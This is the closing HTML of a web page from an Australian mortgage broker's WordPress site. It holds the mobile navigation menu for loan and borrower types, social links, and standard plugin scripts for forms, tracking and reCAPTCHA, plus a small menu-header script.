	<li id="menu-item-5887" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-5887"><div class="drawer-nav-drop-wrap"><a href="/loans/loan-types/">Loan Types</a><button class="drawer-sub-toggle" data-toggle-duration="10" data-toggle-target="#mobile-menu .menu-item-5887 &gt; .sub-menu" aria-expanded="false"><span class="screen-reader-text">Toggle child menu</span><span class="kadence-svg-iconset"><svg aria-hidden="true" class="kadence-svg-icon kadence-arrow-down-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>Expand</title><path d="M5.293 9.707l6 6c0.391 0.391 1.024 0.391 1.414 0l6-6c0.391-0.391 0.391-1.024 0-1.414s-1.024-0.391-1.414 0l-5.293 5.293-5.293-5.293c-0.391-0.391-1.024-0.391-1.414 0s-0.391 1.024 0 1.414z"></path>
				</svg></span></button></div>
	<ul class="sub-menu">
		<li id="menu-item-5992" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-5992"><a href="https://intuitivefinance.com.au/loans/loan-types/variable-rate-home-loan/">Variable-Rate Home Loans</a></li>
		<li id="menu-item-5988" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-5988"><a href="https://intuitivefinance.com.au/loans/loan-types/fixed-rate-home-loan/">Fixed-Rate Home Loans</a></li>
		<li id="menu-item-20388" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-20388"><a href="https://intuitivefinance.com.au/loans/loan-types/investment-loan/">Investment Loans</a></li>
		<li id="menu-item-20385" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-20385"><a href="https://intuitivefinance.com.au/loans/loan-types/loan-refinance/">Loan Refinancing</a></li>
		<li id="menu-item-12889" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-12889"><a href="https://intuitivefinance.com.au/loans/loan-types/guarantor-home-loan/">Guarantor Home Loans</a></li>
		<li id="menu-item-12987" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-12987"><a href="https://intuitivefinance.com.au/loans/loan-types/no-deposit-home-loans/">Low-Deposit Home Loans</a></li>
		<li id="menu-item-5986" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-5986"><a href="https://intuitivefinance.com.au/loans/loan-types/bridging-loan/">Bridging Loans</a></li>
		<li id="menu-item-5987" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-5987"><a href="https://intuitivefinance.com.au/loans/loan-types/construction/">Construction Loan</a></li>
		<li id="menu-item-20392" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-20392"><a href="https://intuitivefinance.com.au/loans/loan-types/equity-release-loan/">Equity Release Loans</a></li>
		<li id="menu-item-5990" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-5990"><a href="https://intuitivefinance.com.au/loans/loan-types/offset/">Offset Loans</a></li>
		<li id="menu-item-5991" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-5991"><a href="https://intuitivefinance.com.au/loans/loan-types/split-loan/">Split Loans</a></li>
		<li id="menu-item-16346" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-16346"><a href="https://intuitivefinance.com.au/loans/loan-types/asset-finance/">Asset Finance</a></li>
		<li id="menu-item-20395" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-20395"><a href="https://intuitivefinance.com.au/loans/loan-types/commercial-loan/">Commercial Loans</a></li>
	</ul>
</li>
	<li id="menu-item-5872" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-5872"><div class="drawer-nav-drop-wrap"><a href="/loans/borrower-types/">Borrower Type</a><button class="drawer-sub-toggle" data-toggle-duration="10" data-toggle-target="#mobile-menu .menu-item-5872 &gt; .sub-menu" aria-expanded="false"><span class="screen-reader-text">Toggle child menu</span><span class="kadence-svg-iconset"><svg aria-hidden="true" class="kadence-svg-icon kadence-arrow-down-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>Expand</title><path d="M5.293 9.707l6 6c0.391 0.391 1.024 0.391 1.414 0l6-6c0.391-0.391 0.391-1.024 0-1.414s-1.024-0.391-1.414 0l-5.293 5.293-5.293-5.293c-0.391-0.391-1.024-0.391-1.414 0s-0.391 1.024 0 1.414z"></path>
				</svg></span></button></div>
	<ul class="sub-menu">
		<li id="menu-item-5871" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-5871"><a href="https://intuitivefinance.com.au/loans/borrower-types/first-home-buyer/">First Time Buyers</a></li>
		<li id="menu-item-5985" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-5985"><a href="https://intuitivefinance.com.au/loans/borrower-types/property-upsizers/">Property Upsizers</a></li>
		<li id="menu-item-19532" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-19532"><a href="https://intuitivefinance.com.au/loans/borrower-types/property-investors/">Property Investors</a></li>
		<li id="menu-item-5983" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-5983"><div class="drawer-nav-drop-wrap"><a href="https://intuitivefinance.com.au/loans/borrower-types/self-employed-home-loans/">Self-Employed</a><button class="drawer-sub-toggle" data-toggle-duration="10" data-toggle-target="#mobile-menu .menu-item-5983 &gt; .sub-menu" aria-expanded="false"><span class="screen-reader-text">Toggle child menu</span><span class="kadence-svg-iconset"><svg aria-hidden="true" class="kadence-svg-icon kadence-arrow-down-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>Expand</title><path d="M5.293 9.707l6 6c0.391 0.391 1.024 0.391 1.414 0l6-6c0.391-0.391 0.391-1.024 0-1.414s-1.024-0.391-1.414 0l-5.293 5.293-5.293-5.293c-0.391-0.391-1.024-0.391-1.414 0s-0.391 1.024 0 1.414z"></path>
				</svg></span></button></div>
		<ul class="sub-menu">
			<li id="menu-item-20377" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-20377"><a href="/loans/borrower-types/self-employed-home-loans/#tradies">Tradies</a></li>
			<li id="menu-item-20378" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-20378"><a href="/loans/borrower-types/self-employed-home-loans/#business-owners">Business Owners</a></li>
		</ul>
</li>
		<li id="menu-item-19548" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-19548"><div class="drawer-nav-drop-wrap"><a href="https://intuitivefinance.com.au/loans/borrower-types/professionals/">Professionals</a><button class="drawer-sub-toggle" data-toggle-duration="10" data-toggle-target="#mobile-menu .menu-item-19548 &gt; .sub-menu" aria-expanded="false"><span class="screen-reader-text">Toggle child menu</span><span class="kadence-svg-iconset"><svg aria-hidden="true" class="kadence-svg-icon kadence-arrow-down-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>Expand</title><path d="M5.293 9.707l6 6c0.391 0.391 1.024 0.391 1.414 0l6-6c0.391-0.391 0.391-1.024 0-1.414s-1.024-0.391-1.414 0l-5.293 5.293-5.293-5.293c-0.391-0.391-1.024-0.391-1.414 0s-0.391 1.024 0 1.414z"></path>
				</svg></span></button></div>
		<ul class="sub-menu">
			<li id="menu-item-20379" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-20379"><a href="/loans/borrower-types/professionals/#doctors">Doctors</a></li>
			<li id="menu-item-20381" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-20381"><a href="/loans/borrower-types/professionals/#accountants">Accountants</a></li>
			<li id="menu-item-20380" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-20380"><a href="/loans/borrower-types/professionals/#lawyers">Lawyers</a></li>
			<li id="menu-item-20382" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-20382"><a href="/loans/borrower-types/professionals/#sports-people">Sports People</a></li>
		</ul>
</li>
		<li id="menu-item-5982" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-5982"><a href="https://intuitivefinance.com.au/loans/borrower-types/expat-home-loans/">Expats</a></li>
		<li id="menu-item-5984" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-5984"><a href="https://intuitivefinance.com.au/loans/borrower-types/self-managed-supers-funds/">SMSF</a></li>
	</ul>
</li>
</ul>
</li>
<li id="menu-item-21779" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-21779"><div class="drawer-nav-drop-wrap"><a href="#">Knowledge Hub</a><button class="drawer-sub-toggle" data-toggle-duration="10" data-toggle-target="#mobile-menu .menu-item-21779 &gt; .sub-menu" aria-expanded="false"><span class="screen-reader-text">Toggle child menu</span><span class="kadence-svg-iconset"><svg aria-hidden="true" class="kadence-svg-icon kadence-arrow-down-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>Expand</title><path d="M5.293 9.707l6 6c0.391 0.391 1.024 0.391 1.414 0l6-6c0.391-0.391 0.391-1.024 0-1.414s-1.024-0.391-1.414 0l-5.293 5.293-5.293-5.293c-0.391-0.391-1.024-0.391-1.414 0s-0.391 1.024 0 1.414z"></path>
				</svg></span></button></div>
<ul class="sub-menu">
	<li id="menu-item-19555" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-19555"><a href="https://intuitivefinance.com.au/knowledge-hub/">Blogs</a></li>
	<li id="menu-item-6109" class="cursor-default menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-6109"><div class="drawer-nav-drop-wrap"><a href="#">Help / Guide</a><button class="drawer-sub-toggle" data-toggle-duration="10" data-toggle-target="#mobile-menu .menu-item-6109 &gt; .sub-menu" aria-expanded="false"><span class="screen-reader-text">Toggle child menu</span><span class="kadence-svg-iconset"><svg aria-hidden="true" class="kadence-svg-icon kadence-arrow-down-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>Expand</title><path d="M5.293 9.707l6 6c0.391 0.391 1.024 0.391 1.414 0l6-6c0.391-0.391 0.391-1.024 0-1.414s-1.024-0.391-1.414 0l-5.293 5.293-5.293-5.293c-0.391-0.391-1.024-0.391-1.414 0s-0.391 1.024 0 1.414z"></path>
				</svg></span></button></div>
	<ul class="sub-menu">
		<li id="menu-item-16876" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-16876"><a href="https://intuitivefinance.com.au/checklist-resources/">Checklist Resources</a></li>
		<li id="menu-item-6942" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-6942"><a href="/the-key-finance-issues-all-property-upgraders-need-to-consider/">Guide &#8211; Upgraders</a></li>
		<li id="menu-item-6113" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-6113"><a href="/7-things-all-property-investors-need-to-understand-about-finance/">Guide &#8211; Sophisticated and First time Investors</a></li>
		<li id="menu-item-6112" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-6112"><a href="/guide-to-finance-for-self-employed-people/">Guide &#8211; Self Employed</a></li>
		<li id="menu-item-6943" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-6943"><a href="/the-key-finance-issues-all-self-managed-super-funds-need-to-consider/">Guide &#8211; SMSF</a></li>
		<li id="menu-item-6944" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-6944"><a href="/8-key-finance-issues-all-expatriates-need-to-understand/">Guide &#8211; Expatriates</a></li>
		<li id="menu-item-6111" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-6111"><a href="/the-2022-guide-to-finance-for-first-homebuyers/">Guide &#8211; First Home Buyer</a></li>
		<li id="menu-item-6941" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-6941"><a href="/property-buying-tips-and-handy-hints-successfully-manage-your-finances/">Guide &#8211; Buying Tips And Handy Hints</a></li>
	</ul>
</li>
</ul>
</li>
<li id="menu-item-5407" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-5407"><a href="https://intuitivefinance.com.au/case-studies/">Case Studies</a></li>
<li id="menu-item-5433" class="contact-list-child menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-5433"><div class="drawer-nav-drop-wrap"><a href="https://intuitivefinance.com.au/contact/">Contact Us</a><button class="drawer-sub-toggle" data-toggle-duration="10" data-toggle-target="#mobile-menu .menu-item-5433 &gt; .sub-menu" aria-expanded="false"><span class="screen-reader-text">Toggle child menu</span><span class="kadence-svg-iconset"><svg aria-hidden="true" class="kadence-svg-icon kadence-arrow-down-svg" fill="currentColor" version="1.1" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>Expand</title><path d="M5.293 9.707l6 6c0.391 0.391 1.024 0.391 1.414 0l6-6c0.391-0.391 0.391-1.024 0-1.414s-1.024-0.391-1.414 0l-5.293 5.293-5.293-5.293c-0.391-0.391-1.024-0.391-1.414 0s-0.391 1.024 0 1.414z"></path>
				</svg></span></button></div>
<ul class="sub-menu">
	<li id="menu-item-20560" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-20560"><a href="https://intuitivefinance.com.au/financial-brokers-sydney/">Sydney</a></li>
	<li id="menu-item-20561" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-20561"><a href="https://intuitivefinance.com.au/financial-brokers-brisbane/">Brisbane</a></li>
</ul>
</li>
</ul>		</div>
	</nav><!-- #site-navigation -->
	</div><!-- data-section="mobile_navigation" -->
<div class="site-header-item site-header-focus-item" data-section="kadence_customizer_mobile_button">
	<div class="mobile-header-button-wrap"><div class="mobile-header-button-inner-wrap"><a href="" target="_self" class="button mobile-header-button button-size-medium button-style-filled">Book a Consultation</a></div></div></div><!-- data-section="mobile_button" -->
<div class="site-header-item site-header-focus-item" data-section="kadence_customizer_mobile_social">
	<div class="header-mobile-social-wrap"><div class="header-mobile-social-inner-wrap element-social-inner-wrap social-show-label-false social-style-filled"><a href="https://www.facebook.com/IntuitiveFinance" aria-label="Facebook" target="_blank" rel="noopener noreferrer"  class="social-button header-social-item social-link-facebook"><span class="social-icon-custom-svg" style="max-width:24px"><svg fill="none" viewBox="0 0 24 25" height="25" width="24" xmlns="http://www.w3.org/2000/svg"><title>Facebook</title><g clip-path="url(#clip0_2727_2965)">     <path fill="#FFD400" d="M24 12.5C24 5.87188 18.6281 0.5 12 0.5C5.37188 0.5 0 5.87188 0 12.5C0 18.4906 4.3875 23.4547 10.125 24.3547V15.9688H7.07812V12.5H10.125V9.85625C10.125 6.84922 11.9156 5.1875 14.6578 5.1875C15.9703 5.1875 17.3438 5.42188 17.3438 5.42188V8.375H15.8297C14.3391 8.375 13.875 9.30078 13.875 10.25V12.5H17.2031L16.6711 15.9688H13.875V24.3547C19.6125 23.4547 24 18.4906 24 12.5Z"></path>   </g>   <defs>     <clipPath id="clip0_2727_2965">       <rect transform="translate(0 0.5)" fill="white" height="24" width="24"></rect>     </clipPath>   </defs> </svg></span></a><a href="https://www.youtube.com/channel/UClJk4jLqboW1xaqGaiAU1Kg" aria-label="YouTube" target="_blank" rel="noopener noreferrer"  class="social-button header-social-item social-link-youtube"><span class="social-icon-custom-svg" style="max-width:24px"><svg fill="none" viewBox="0 0 24 25" height="25" width="24" xmlns="http://www.w3.org/2000/svg"><title>Youtube</title><path fill="#FFD400" d="M12 0.5C5.37258 0.5 0 5.87258 0 12.5C0 19.1274 5.37258 24.5 12 24.5C18.6274 24.5 24 19.1274 24 12.5C24 5.87258 18.6274 0.5 12 0.5ZM17.0008 8.37466C17.5516 8.5258 17.9853 8.97111 18.1325 9.53661C18.4 10.5615 18.4 12.7 18.4 12.7C18.4 12.7 18.4 14.8384 18.1325 15.8634C17.9853 16.4289 17.5516 16.8742 17.0008 17.0254C16.0027 17.3 12 17.3 12 17.3C12 17.3 7.99732 17.3 6.99913 17.0254C6.44837 16.8742 6.01462 16.4289 5.86742 15.8634C5.60001 14.8384 5.60001 12.7 5.60001 12.7C5.60001 12.7 5.60001 10.5615 5.86742 9.53661C6.01462 8.97111 6.44837 8.5258 6.99913 8.37466C7.99732 8.1 12 8.1 12 8.1C12 8.1 16.0027 8.1 17.0008 8.37466Z" clip-rule="evenodd" fill-rule="evenodd"></path>   <path fill="#FFD400" d="M10.8 14.8999V10.8999L14 12.9L10.8 14.8999Z"></path> </svg></span></a><a href="https://www.linkedin.com/company/intuitive-finance-pty-ltd-australia-/?trk=public_profile_topcard-current-company" aria-label="Linkedin" target="_blank" rel="noopener noreferrer"  class="social-button header-social-item social-link-linkedin"><span class="social-icon-custom-svg" style="max-width:24px"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="25" viewBox="0 0 24 25" fill="none"><title>LinkedIn</title><path fill-rule="evenodd" clip-rule="evenodd" d="M12 0.5C5.37258 0.5 0 5.87258 0 12.5C0 19.1274 5.37258 24.5 12 24.5C18.6274 24.5 24 19.1274 24 12.5C24 5.87258 18.6274 0.5 12 0.5ZM5.7608 10.4389H8.48027V18.6098H5.7608V10.4389ZM8.65939 7.91135C8.64174 7.1102 8.06883 6.5 7.13852 6.5C6.20821 6.5 5.60001 7.1102 5.60001 7.91135C5.60001 8.6959 6.19023 9.32367 7.10322 9.32367H7.1206C8.06883 9.32367 8.65939 8.6959 8.65939 7.91135ZM15.1566 10.2471C16.9461 10.2471 18.2877 11.4151 18.2877 13.9249L18.2876 18.6098H15.5682V14.2384C15.5682 13.1404 15.1747 12.3911 14.1903 12.3911C13.4389 12.3911 12.9914 12.8962 12.7949 13.3841C12.723 13.5589 12.7053 13.8025 12.7053 14.0467V18.61H9.98555C9.98555 18.61 10.0214 11.2059 9.98555 10.4391H12.7053V11.5965C13.0663 11.0401 13.7127 10.2471 15.1566 10.2471Z" fill="#FFD400"></path> </svg></span></a></div></div></div><!-- data-section="mobile_social" -->
							</div>
		</div>
	</div>
	<script id="site_tracking-js-extra">
var php_data = {"ac_settings":{"tracking_actid":66298552,"site_tracking_default":1},"user_email":""};
</script>
<script src="https://intuitivefinance.com.au/wp-content/plugins/activecampaign-subscription-forms/site_tracking.js?ver=6.6.2" id="site_tracking-js"></script>
<script id="adrotate-clicker-js-extra">
var click_object = {"ajax_url":"https:\/\/intuitivefinance.com.au\/wp-admin\/admin-ajax.php"};
</script>
<script src="https://intuitivefinance.com.au/wp-content/plugins/adrotate/library/jquery.clicker.js" id="adrotate-clicker-js"></script>
<script src="https://intuitivefinance.com.au/wp-includes/js/dist/hooks.min.js?ver=2810c76e705dd1a53b18" id="wp-hooks-js"></script>
<script src="https://intuitivefinance.com.au/wp-includes/js/dist/i18n.min.js?ver=5e580eb46a90c2b997e6" id="wp-i18n-js"></script>
<script id="wp-i18n-js-after">
wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } );
</script>
<script src="https://intuitivefinance.com.au/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=6.0" id="swv-js"></script>
<script id="contact-form-7-js-translations">
( function( domain, translations ) {
	var localeData = translations.locale_data[ domain ] || translations.locale_data.messages;
	localeData[""].domain = domain;
	wp.i18n.setLocaleData( localeData, domain );
} )( "contact-form-7", {"translation-revision-date":"2024-03-18 08:28:25+0000","generator":"GlotPress\/4.0.1","domain":"messages","locale_data":{"messages":{"":{"domain":"messages","plural-forms":"nplurals=2; plural=n != 1;","lang":"en_AU"},"Error:":["Error:"]}},"comment":{"reference":"includes\/js\/index.js"}} );
</script>
<script id="contact-form-7-js-before">
var wpcf7 = {
    "api": {
        "root": "https:\/\/intuitivefinance.com.au\/wp-json\/",
        "namespace": "contact-form-7\/v1"
    }
};
</script>
<script src="https://intuitivefinance.com.au/wp-content/plugins/contact-form-7/includes/js/index.js?ver=6.0" id="contact-form-7-js"></script>
<script id="wpcf7-redirect-script-js-extra">
var wpcf7r = {"ajax_url":"https:\/\/intuitivefinance.com.au\/wp-admin\/admin-ajax.php"};
</script>
<script src="https://intuitivefinance.com.au/wp-content/plugins/wpcf7-redirect/build/js/wpcf7r-fe.js?ver=1.1" id="wpcf7-redirect-script-js"></script>
<script src="https://intuitivefinance.com.au/wp-content/themes/kadence-child/js/splide/splide.min.js?ver=4.0.0" id="splide-js-js"></script>
<script src="https://intuitivefinance.com.au/wp-content/themes/kadence-child/js/splide/splide-extension-grid.js" id="splide-grid-ext-js-js"></script>
<script id="kadence-navigation-js-extra">
var kadenceConfig = {"screenReader":{"expand":"Child menu","expandOf":"Child menu of","collapse":"Child menu","collapseOf":"Child menu of"},"breakPoints":{"desktop":"1024","tablet":768},"scrollOffset":"0"};
</script>
<script src="https://intuitivefinance.com.au/wp-content/themes/kadence/assets/js/navigation.min.js?ver=1.2.12" id="kadence-navigation-js" async></script>
<script src="https://www.google.com/recaptcha/api.js?render=6LdI5_cqAAAAABTKOXpMEgSvMooDUCJ3DXt8dIWy&amp;ver=3.0" id="google-recaptcha-js"></script>
<script src="https://intuitivefinance.com.au/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0" id="wp-polyfill-js"></script>
<script id="wpcf7-recaptcha-js-before">
var wpcf7_recaptcha = {
    "sitekey": "6LdI5_cqAAAAABTKOXpMEgSvMooDUCJ3DXt8dIWy",
    "actions": {
        "homepage": "homepage",
        "contactform": "contactform"
    }
};
</script>
<script src="https://intuitivefinance.com.au/wp-content/plugins/contact-form-7/modules/recaptcha/index.js?ver=6.0" id="wpcf7-recaptcha-js"></script>


<script>
//MEGAMENU COLUMN HEADER
document.addEventListener("DOMContentLoaded", function() {
    // Select all parent items that contain sub-menus
    const parentItems = document.querySelectorAll('.mega-menu, .mega-menu .menu-item-has-children');
    parentItems.forEach((parent) => {
        // Select the label container
        const labelContainer = parent.querySelector('.sub-menu');
        
        // Create a new span element for the header
        const header = document.createElement('span');
        
        // Get the text content from the label, excluding children
        let parentLabel = parent.querySelector('a').textContent;
        // if(!labelContainer){
        //     return;
        // }
        // labelContainer.childNodes.forEach(node => {
        //     if (node.nodeType === Node.TEXT_NODE) {
        //         parentLabel += node.textContent.trim();
        //     }
        // });

        // Set the text content for the header to the parent's text label
        header.textContent = parentLabel;
        
        // Add a class to the span for styling (optional)
        header.className = 'sub-menu-header';

        // Select the sub-menu wrapper within this parent item
        const subMenuWrapper = parent.querySelector('.submenu-wrapper') || parent.querySelector('ul');

        if (subMenuWrapper) {
            // Move the header to the beginning of the sub-menu wrapper
            subMenuWrapper.insertBefore(header, subMenuWrapper.firstChild);
        }
    });
});

</script>
</body>
</html>